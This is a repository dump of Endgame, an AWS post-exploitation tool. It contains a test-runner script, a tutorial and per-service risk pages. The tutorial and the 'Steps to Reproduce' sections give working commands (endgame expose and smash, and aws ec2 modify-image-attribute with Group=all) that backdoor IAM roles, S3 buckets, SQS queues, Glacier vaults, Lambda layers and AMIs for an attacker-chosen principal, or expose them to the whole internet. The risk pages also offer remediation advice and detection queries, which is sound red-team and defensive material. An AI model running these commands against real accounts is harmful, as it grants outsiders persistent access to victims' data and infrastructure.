`remove_permission`: ✅ Supported 43 | * Lambda Layer: 44 | * `list_layers`: ✅ Supported 45 | * `list_layer_versions`: ❌ Not supported 46 | * `add_layer_version_permission`: ❌ Not supported 47 | * `remove_layer_version_permission`: ❌ Not supported 48 | * S3: 49 | * `get_bucket_policy`: ✅ Supported 50 | * `put_bucket_policy`: ✅ Supported 51 | * `list_buckets`: ✅ Supported 52 | * Secrets Manager 53 | * `delete_resource_policy`: ❌ Not supported 54 | * `get_resource_policy`: ✅ Supported 55 | * `list_secrets`: ✅ Supported 56 | * `put_resource_policy`: ❌ Not supported 57 | * SES 58 | * `delete_identity_policy`: ❌ Not supported 59 | * `get_identity_policies`: ❌ Not supported 60 | * `list_identities`: ✅ Supported 61 | * `list_identity_policies`: ❌ Not supported 62 | * `put_identity_policy`: ❌ Not supported 63 | * SNS 64 | * `add_permission`: ✅ Supported 65 | * `get_topic_attributes`: ✅ Supported 66 | * `remove_permission`: ✅ Supported 67 | * `list_topics`: ✅ Supported 68 | * SQS 69 | * `add_permission`: ✅ Supported 70 | * `get_queue_url`: ✅ Supported 71 | * `get_queue_attributes`: ✅ Supported 72 | * `list_queues`: ✅ Supported 73 | * `remove_permission`: ✅ Supported 74 | 75 | ## Unit test structure per service 76 | 77 | We want to cover the following in each unit test: 78 | * `setUp` 79 | * `test_list_resources` 80 | * Passing case: If exists, assert name is expected 81 | * Exception handling: If does not exist, show error message but don't break 82 | * `test_get_rbp` 83 | * Expected initial policy content 84 | * `test_set_rbp` 85 | * Expected policy content after updating 86 | * Exception handling in case of `botocore.exceptions.ClientError` 87 | * `test_add_myself` 88 | * Expected policy content after updating 89 | * Exception handling in case of `botocore.exceptions.ClientError` 90 | * `tearDown` 91 | 92 | ## Notes 93 | 94 | [ECR](https://github.com/spulec/moto/blob/master/tests/test_ecr/test_ecr_boto3.py): 🟡 Partially supported. `test_get_rbp` possible 95 | 96 | [Glacier Vault](https://github.com/spulec/moto/tree/master/tests/test_glacier). Looks like `list_vaults` is under `mock_glacier_deprecated` 97 | 98 | [KMS](https://github.com/spulec/moto/blob/9db62d32bf70e18f315305b7915d199e3ba1210a/tests/test_kms/test_kms.py#L269): ✅ possible. TODO: Need to update with `put_key_policy` from `mock_kms_deprecated` 99 | 100 | [IAM](https://github.com/spulec/moto/blob/fe9f1dfe140a8f52746b964df121ae1a13fdf93d/moto/iam/responses.py#L253) -------------------------------------------------------------------------------- /tasks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import os 4 | import logging 5 | from invoke import task, Collection 6 | 7 | BIN = os.path.abspath(os.path.join(os.path.dirname(__file__), "endgame", "bin", "cli.py")) 8 | sys.path.append( 9 | os.path.abspath( 10 | os.path.join(os.path.dirname(__file__), os.path.pardir, "endgame") 11 | ) 12 | ) 13 | 14 | logger = logging.getLogger(__name__) 15 | # services that we will expose in these tests 16 | EXPOSE_SERVICES = [ 17 | "iam", 18 | "ecr", 19 | # "secretsmanager", 20 | "lambda" 21 | ] 22 | # services to run the list-resources command against 23 | LIST_SERVICES = [ 24 | "iam", 25 | "lambda", 26 | "ecr", 27 | "efs", 28 | "secretsmanager", 29 | "s3" 30 | ] 31 | 32 | EVIL_PRINCIPAL = os.getenv("EVIL_PRINCIPAL") 33 | if not os.getenv("EVIL_PRINCIPAL"): 34 | raise Exception("Please set the EVIL_PRINCIPAL environment variable to the ARN of the rogue principal that you " 35 | "want to give access to.") 36 | 37 | # Create the necessary collections (namespaces) 38 | ns = Collection() 39 | 40 | test = Collection("test") 41 | ns.add_collection(test) 42 | 43 | # def exception_handler(func): 44 | # def inner_function(*args, **kwargs): 45 | # try: 46 | # func(*args, **kwargs) 47 | # except UnexpectedExit as u_e: 48 | # logger.critical(f"FAIL! UnexpectedExit: {u_e}") 49 | # sys.exit(1) 50 | # except Failure as f_e: 51 | # logger.critical(f"FAIL: Failure: {f_e}") 52 | # sys.exit(1) 53 | # 54 | # return inner_function 55 | 56 | 57 | # BUILD 58 | @task 59 | def build_package(c): 60 | """Build the policy_sentry package from the current directory contents for use with PyPi""" 61 | c.run('python -m pip install --upgrade setuptools wheel') 62 | c.run('python setup.py -q sdist bdist_wheel') 63 | 64 | 65 | @task(pre=[build_package]) 66 | def install_package(c): 67 | """Install the package built from the current directory contents (not PyPi)""" 68 | c.run('pip3 install -q dist/endgame-*.tar.gz') 69 | 70 | 71 | @task 72 | def create_terraform(c): 73 | c.run("make terraform-demo") 74 | 75 | 76 | @task 77 | def destroy_terraform(c): 78 | c.run("make terraform-destroy") 79 | 80 | 81 | # @exception_handler 82 | # @task(pre=[create_terraform], post=[destroy_terraform]) 83 | # @task 84 | @task(pre=[install_package]) 85 | def list_resources(c): 86 | for service in LIST_SERVICES: 87 | c.run(f"echo '\nListing {service}'", pty=True) 88 | 89 | 90 | # @exception_handler 91 | # @task(pre=[create_terraform], post=[destroy_terraform]) 92 | @task 93 | def expose_dry_run(c): 94 | """DRY RUN""" 95 | for service in EXPOSE_SERVICES: 96 | c.run(f"{BIN} expose --service {service} --name test-resource-exposure --dry-run", pty=True) 97 | 98 | # @exception_handler 99 | # @task(pre=[create_terraform], post=[destroy_terraform]) 100 | @task 101 | def expose_undo(c): 102 | """Test the undo capability, even though we will destroy it after anyway (just to test the capability)""" 103 | c.run(f"echo 'Exposing the Terraform infrastructure to {EVIL_PRINCIPAL}'") 104 | for service in EXPOSE_SERVICES: 105 | c.run(f"{BIN} expose --service {service} --name test-resource-exposure ", pty=True) 106 | c.run(f"echo 'Undoing the exposure to {EVIL_PRINCIPAL} before destroying, just to be extra sure and to test " 107 | f"it out.'") 108 | c.run(f"{BIN} expose --service {service} --name test-resource-exposure --undo", pty=True) 109 | 110 | 111 | # @exception_handler 112 | # @task(pre=[create_terraform], post=[destroy_terraform]) 113 | @task 114 | def expose(c): 115 | """REAL EXPOSURE TO ROGUE ACCOUNT""" 116 | for service in EXPOSE_SERVICES: 117 | c.run(f"echo 'Exposing the Terraform infrastructure to {EVIL_PRINCIPAL}'") 118 | c.run(f"{BIN} expose --service {service} --name test-resource-exposure", pty=True) 119 | 120 | 121 | test.add_task(list_resources, "list-resources") 122 | test.add_task(expose_dry_run, "expose-dry-run") 123 | test.add_task(expose_undo, "expose-undo") 124 | test.add_task(expose, "expose") 125 | -------------------------------------------------------------------------------- /docs/risks/s3.md: -------------------------------------------------------------------------------- 1 | # S3 Buckets 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:evil 15 | 16 | endgame expose --service s3 --name test-resource-exposure 17 | ``` 18 | 19 | * To verify that the S3 bucket has been shared with the public, run the following from the victim account: 20 | 21 | ```bash 22 | aws s3api get-bucket-policy --bucket test-resource-exposure 23 | ``` 24 | 25 | * Observe that the contents match the example shown below. 26 | 27 | 28 | ## Example 29 | 30 | The response of the `get-bucket-policy` command will return the below. Observe how the Evil Principal (`arn:aws:iam::999988887777:evil`) is granted full access to the S3 bucket. 31 | 32 | ```json 33 | { 34 | "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:evil\"},\"Action\":\"s3:*\",\"Resource\":[\"arn:aws:s3:::test-resource-exposure\",\"arn:aws:s3:::test-resource-exposure/*\"]}]}" 35 | } 36 | ``` 37 | 38 | ## Exploitation 39 | 40 | ``` 41 | TODO 42 | ``` 43 | 44 | ## Remediation 45 | 46 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 47 | 48 | * **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies) 49 | * **Trusted Accounts Only**: Ensure that S3 Buckets are only shared with trusted accounts, and that the trusted accounts truly need access to the S3 Bucket. 50 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 51 | * **Restrict access to IAM permissions that could lead to exposure of your S3 Buckets**: Tightly control access to the following IAM actions: 52 | - [s3:GetBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketPolicy.html): _Grants permission to return the policy of the specified bucket. This includes information on which AWS accounts and principals have access to the bucket._ 53 | - [s3:ListAllMyBuckets](https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListBuckets.html): _Grants permission to list all buckets owned by the authenticated sender of the request_ 54 | - [s3:PutBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html): _Grants permission to add or replace a bucket policy on a bucket._ 55 | 56 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 57 | 58 | ## Basic Detection 59 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 60 | ``` 61 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 62 | | filter eventSource='s3.amazonaws.com' AND eventName='PutBucketPolicy' 63 | ``` 64 | 65 | The following query detects policy modifications which include the default IOC string: 66 | ``` 67 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 68 | | filter eventSource='s3.amazonaws.com' AND (eventName='PutBucketPolicy' and @message like 'Endgame') 69 | ``` 70 | (More specific queries related to the policy contents do not work due to how CWL parses the requestParameters object on these calls) 71 | 72 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 73 | 74 | ## References 75 | 76 | - [aws s3api put-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/put-bucket-policy.html) 77 | - [aws s3api get-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/get-bucket-policy.html) -------------------------------------------------------------------------------- /docs/risks/amis.md: -------------------------------------------------------------------------------- 1 | # EC2 AMIs (Machine Images) 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=* 15 | export IMAGE_ID=ami-5731123e 16 | 17 | endgame expose --service ebs --name $SNAPSHOT_ID 18 | ``` 19 | 20 | * To expose the resource using AWS CLI, run the following from the victim account: 21 | 22 | ```bash 23 | aws ec2 modify-image-attribute \ 24 | --image-id ami-5731123e \ 25 | --launch-permission "Add=[{Group=all}]" 26 | ``` 27 | 28 | * To validate that the resource has been shared publicly, run the following: 29 | 30 | ```bash 31 | aws ec2 describe-image-attribute \ 32 | --image-id ami-5731123e \ 33 | --attribute launchPermission 34 | ``` 35 | 36 | * Observe that the contents of the exposed AMI match the example shown below. 37 | 38 | ## Example 39 | 40 | The output of `aws ec2 describe-image-attribute` reveals that the AMI is public if the value of "Group" under "LaunchPermissions" is equal to "all" 41 | 42 | ``` 43 | { 44 | "LaunchPermissions": [ 45 | { 46 | "Group": "all" 47 | } 48 | ], 49 | "ImageId": "ami-5731123e", 50 | } 51 | ``` 52 | 53 | ## Exploitation 54 | 55 | After an EC2 AMI is made public, an attacker can then: 56 | * [Copy the AMI](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-image.html) into their own account 57 | * Launch an EC2 instance using that AMI and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information. 58 | 59 | ## Remediation 60 | 61 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 62 | 63 | * **Encrypt all AMIs with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys) 64 | * **Trusted Accounts Only**: Ensure that EC2 AMIs are only shared with trusted accounts, and that the trusted accounts truly need access to the EC2 AMIs. 65 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 66 | * **Restrict access to IAM permissions that could lead to exposure of your AMIs**: Tightly control access to the following IAM actions: 67 | - [ec2:ModifyImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyImageAttribute.html): _Grants permission to modify an attribute of an Amazon Machine Image (AMI)_ 68 | - [ec2:DescribeImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImageAttribute.html): _Grants permission to describe an attribute of an Amazon Machine Image (AMI). This includes information on which accounts have access to the AMI_ 69 | - [ec2:DescribeImages](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html): _Grants permission to describe one or more images (AMIs, AKIs, and ARIs)_ 70 | 71 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 72 | 73 | ## Basic Detection 74 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 75 | ``` 76 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 77 | | filter eventSource='ec2.amazonaws.com' and (eventName='ModifyImageAttribute' and requestParameters.attributeType='launchPermission') 78 | ``` 79 | 80 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 81 | 82 | ## References 83 | 84 | - [aws ec2 modify-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-image-attribute.html) 85 | - [aws ec2 describe-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-image-attribute.html) -------------------------------------------------------------------------------- /docs/tutorial.md: -------------------------------------------------------------------------------- 1 | # Tutorial 2 | 3 | The prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies. 4 | 5 | Endgame can run in two modes, `expose` or `smash`. The less-destructive `expose` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean). 6 | 7 | `smash`, on the other hand, is more destructive (and louder). `smash` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the "evil principal" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies. 8 | 9 | ## Step 1: Setup 10 | 11 | * First, authenticate to AWS CLI using credentials to the victim's account. 12 | 13 | * Set the environment variables for `EVIL_PRINCIPAL` (required). Optionally, set the environment variables for `AWS_REGION` and `AWS_PROFILE`. 14 | 15 | ```bash 16 | # Set `EVIL_PRINCIPAL` environment variable to the rogue IAM User or 17 | # Role that you want to give access to. 18 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 19 | 20 | # If you don't supply these values, these will be the defaults. 21 | export AWS_REGION="us-east-1" 22 | export AWS_PROFILE="default" 23 | ``` 24 | 25 | ## Step 2: Create Demo Infrastructure 26 | 27 | This program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you using [Terraform](https://www.terraform.io/intro/index.html). **Note: This will create real AWS infrastructure and will cost you money.** 28 | 29 | ```bash 30 | # To create the demo infrastructure 31 | make terraform-demo 32 | ``` 33 | 34 | ## Step 3: List Victim Resources 35 | 36 | You can use the `list-resources` command to list resources in the account that you can backdoor. 37 | 38 | * Examples: 39 | 40 | ```bash 41 | # List IAM Roles, so you can create a backdoor via their AssumeRole policies 42 | endgame list-resources -s iam 43 | 44 | # List S3 buckets, so you can create a backdoor via their Bucket policies 45 | endgame list-resources --service s3 46 | 47 | # List all resources across services that can be backdoored 48 | endgame list-resources --service all 49 | ``` 50 | 51 | ## Step 4: Backdoor specific resources 52 | 53 | * Use the `--dry-run` command first to test it without modifying anything: 54 | 55 | ```bash 56 | endgame expose --service iam --name test-resource-exposure --dry-run 57 | ``` 58 | 59 | * To create the backdoor to that resource from your rogue account, run the following: 60 | 61 | ```bash 62 | endgame expose --service iam --name test-resource-exposure 63 | ``` 64 | 65 | Example output: 66 | 67 | ![expose](images/add-myself-foreal.png) 68 | 69 | 70 | ## Step 5: Roll back changes 71 | 72 | * If you want to atone for your sins (optional) you can use the `--undo` flag to roll back the changes. 73 | 74 | ```bash 75 | endgame expose --service iam --name test-resource-exposure --undo 76 | ``` 77 | 78 | ![expose undo](images/add-myself-undo.png) 79 | 80 | 81 | ## Step 6: Smash your AWS Account to Pieces 82 | 83 | * To expose every exposable resource in your AWS account, run the following command. 84 | 85 | > Warning: If you supply the argument `--evil-principal *` or the environment variable `EVIL_PRINCIPAL=*`, it will expose the account to the internet. If you do this, it is possible that an attacker could assume your privileged IAM roles, take over the other [supported resources](https://endgame.readthedocs.io/en/latest/#supported-backdoors) present in that account, or incur a massive bill. As such, you might want to set `--evil-principal` to your own AWS user/role in another account. 86 | 87 | ```bash 88 | endgame smash --service all --dry-run 89 | endgame smash --service all 90 | endgame smash --service all --undo 91 | ``` 92 | 93 | ## Step 7: Destroy Demo Infrastructure 94 | 95 | * Now that you are done with the tutorial, don't forget to clean up the demo infrastructure. 96 | 97 | ```bash 98 | # Destroy the demo infrastructure 99 | make terraform-destroy 100 | ``` -------------------------------------------------------------------------------- /docs/risks/sqs.md: -------------------------------------------------------------------------------- 1 | # SQS Queues 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 15 | 16 | endgame expose --service iam --name test-resource-exposure 17 | ``` 18 | 19 | * To verify that the SQS queue has been shared with a rogue user, run the following from the victim account: 20 | 21 | ```bash 22 | export QUEUE_URL=(`aws sqs get-queue-url --queue-name test-resource-exposure | jq -r '.QueueUrl'`) 23 | 24 | aws sqs get-queue-attributes --queue-url $QUEUE_URL --attribute-names Policy 25 | ``` 26 | 27 | * Observe that the contents match the example shown below. 28 | 29 | ## Example 30 | 31 | The policy below allows the Evil Principal's account ID (`999988887777` access to `sqs:*` to the victim resource (`arn:aws:sqs:us-east-1:111122223333:test-resource-exposure`), indicating a successful compromise. 32 | 33 | 34 | ```json 35 | { 36 | "Attributes": { 37 | "Policy": "{\"Version\":\"2008-10-17\",\"Id\":\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure/SQSDefaultPolicy\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"SQS:*\",\"Resource\":\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":\"SQS:*\",\"Resource\":\"arn:aws:sqs:us-east-1:111122223333:test-resource-exposure\"}]}" 38 | } 39 | } 40 | 41 | ``` 42 | 43 | ## Exploitation 44 | 45 | ``` 46 | TODO 47 | ``` 48 | 49 | ## Remediation 50 | 51 | * **Trusted Accounts Only**: Ensure that SQS Queues are only shared with trusted accounts, and that the trusted accounts truly need access to the SQS Queue. 52 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 53 | * **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to SQS Queues. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details. 54 | * **Restrict access to IAM permissions that could lead to exposure of your SQS Queues**: Tightly control access to the following IAM actions: 55 | - [sqs:AddPermission](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_AddPermission.html): _Adds a permission to a queue for a specific principal._ 56 | - [sqs:RemovePermission](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_RemovePermission.html): _Revokes any permissions in the queue policy that matches the specified Label parameter._ 57 | - [sqs:GetQueueAttributes](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_GetQueueAttributes.html): _Gets attributes for the specified queue. This includes retrieving the list of principals who are authorized to access the queue._ 58 | - [sqs:GetQueueUrl](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_GetQueueUrl.html): _Returns the URL of an existing queue._ 59 | - [sqs:ListQueues](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ListQueues.html): _Returns a list of your queues._ 60 | 61 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 62 | 63 | ## Basic Detection 64 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 65 | ``` 66 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 67 | | filter eventSource='sqs.amazonaws.com' AND (eventName='AddPermission' or eventName='RemovePermission') 68 | ``` 69 | 70 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 71 | 72 | ## References 73 | 74 | * [aws sqs add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/add-permission.html) 75 | * [aws sqs get-queue-attributes](https://docs.aws.amazon.com/cli/latest/reference/sqs/get-queue-attributes.html) 76 | -------------------------------------------------------------------------------- /docs/risks/glacier.md: -------------------------------------------------------------------------------- 1 | # Glacier Vault 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 15 | 16 | endgame expose --service glacier --name test-resource-exposure 17 | ``` 18 | 19 | * To view the contents of the Glacier Vault Access Policy, run the following: 20 | 21 | ```bash 22 | export VICTIM_ACCOUNT_ID=111122223333 23 | 24 | aws glacier get-vault-access-policy \ 25 | --account-id $VICTIM_ACCOUNT_ID \ 26 | --vault-name test-resource-exposure 27 | ``` 28 | 29 | * Observe that the output of the overly permissive Glacier Vault Access Policies resembles the example shown below. 30 | 31 | 32 | ## Example 33 | 34 | Observe that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `glacier:*` permissions to the Glacier Vault named `test-resource-exposure`. 35 | 36 | ```json 37 | { 38 | "policy": { 39 | "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"glacier:*\",\"Resource\":\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:user/evil\"},\"Action\":\"glacier:*\",\"Resource\":\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\"}]}" 40 | } 41 | } 42 | ``` 43 | 44 | ## Exploitation 45 | 46 | ``` 47 | TODO 48 | ``` 49 | 50 | ## Remediation 51 | 52 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 53 | 54 | * **Trusted Accounts Only**: Ensure that Glacier Vaults are only shared with trusted accounts, and that the trusted accounts truly need access to the Vaults. 55 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 56 | * **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies) 57 | * **Restrict access to IAM permissions that could lead to exposure of your Vaults**: Tightly control access to the following IAM actions: 58 | - [glacier:GetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-GetVaultAccessPolicy.html): _Retrieves the access-policy subresource set on the vault_ 59 | - [glacier:ListVaults](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-vaults-get.html): _Lists all vaults_ 60 | - [glacier:SetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-SetVaultAccessPolicy.html): _Configures an access policy for a vault and will overwrite an existing policy._ 61 | 62 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 63 | 64 | ## Basic Detection 65 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 66 | ``` 67 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 68 | | filter eventSource='glacier.amazonaws.com' and eventName='SetVaultAccessPolicy' 69 | ``` 70 | 71 | The following query detects policy modifications which include the default IOC string: 72 | ``` 73 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 74 | | filter eventSource='glacier.amazonaws.com' and (eventName='SetVaultAccessPolicy' and requestParameters.policy.policy like 'Endgame') 75 | ``` 76 | 77 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 78 | 79 | ## References 80 | 81 | * [set-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/set-vault-access-policy.html) 82 | * [get-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/get-vault-access-policy.html) -------------------------------------------------------------------------------- /docs/risks/lambda-layers.md: -------------------------------------------------------------------------------- 1 | # Lambda Layers 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [References](#references) 7 | 8 | ## Steps to Reproduce 9 | 10 | * To expose the resource using `endgame`, run the following from the victim account: 11 | 12 | ```bash 13 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 14 | 15 | endgame expose --service lambda-layer --name test-resource-exposure:1 16 | ``` 17 | 18 | * To view the contents of the Lambda layer policy, run the following: 19 | 20 | ```bash 21 | export VICTIM_RESOURCE_ARN=arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure 22 | export VERSION=3 23 | aws lambda get-layer-version-policy \ 24 | --layer-name $VICTIM_RESOURCE_ARN \ 25 | --version-number $VERSION 26 | ``` 27 | 28 | * Observe that the output of the overly permissive Lambda Layer Policy resembles the example shown below. 29 | 30 | ## Example 31 | 32 | Observe that the Evil principal's account ID (`999988887777`) is given `lambda:GetLayerVersion` access to the Lambda layer `arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1`. 33 | 34 | ```json 35 | { 36 | "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"lambda:GetLayerVersion\",\"Resource\":\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":\"lambda:GetLayerVersion\",\"Resource\":\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\"}]}", 37 | "RevisionId": "" 38 | } 39 | ``` 40 | 41 | ## Exploitation 42 | 43 | ``` 44 | TODO 45 | ``` 46 | 47 | ## Remediation 48 | 49 | * **Trusted Accounts Only**: Ensure that Lambda Layers are only shared with trusted accounts. 50 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 51 | * **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Layers. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details. 52 | * **Restrict access to IAM permissions that could lead to exposure of your Lambda Layers**: Tightly control access to the following IAM actions: 53 | - [lambda:AddLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddLayerVersionPermission.html): _Grants permission to add permissions to the resource-based policy of a version of an AWS Lambda layer_ 54 | - [lambda:GetLayerVersionPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetLayerVersionPolicy.html): _Grants permission to view the resource-based policy for a version of an AWS Lambda layer_ 55 | - [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_ 56 | - [lambda:ListLayers](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayers.html): _Grants permission to retrieve a list of AWS Lambda layers, with details about the latest version of each layer_ 57 | - [lambda:ListLayerVersions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayerVersions.html): _Grants permission to retrieve a list of versions of an AWS Lambda layer_ 58 | - [lambda:RemoveLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemoveLayerVersionPermission.html): 